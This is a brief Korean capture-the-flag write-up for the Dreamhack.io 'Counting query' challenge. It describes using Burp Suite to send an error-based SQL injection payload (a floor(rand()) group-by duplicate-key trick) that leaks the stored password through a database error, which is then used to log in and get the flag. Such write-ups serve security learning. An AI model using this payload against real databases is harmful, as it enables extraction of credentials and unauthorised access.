[Dreamhack.io] Counting query

코드 중 일부분

 

비밀번호를 4번 틀리면, 비밀번호가 자동으로 바뀐다.

id는 ip 값으로 고정이다.

 

프록시 걸고 버프스위트로 

id=203.229.203.234&pw[]=pw&type=2 || row(1,1)=(select count(*), concat(ps,0x3a,floor(rand()*2))x from (select 1 union select 2 union select 3)y group by x limit 1) 

로 인자 값을 바꿔준다.

 

 

 DB Error :: Duplicate entry '132b541995423a858ffb981d52dbe945:1' for key 'group_key'

 

 

FLAG

위에서 error로 나온

132b541995423a858ffb981d52dbe945 값을

비밀번호에 넣고 로그인 하면 FLAG가 출력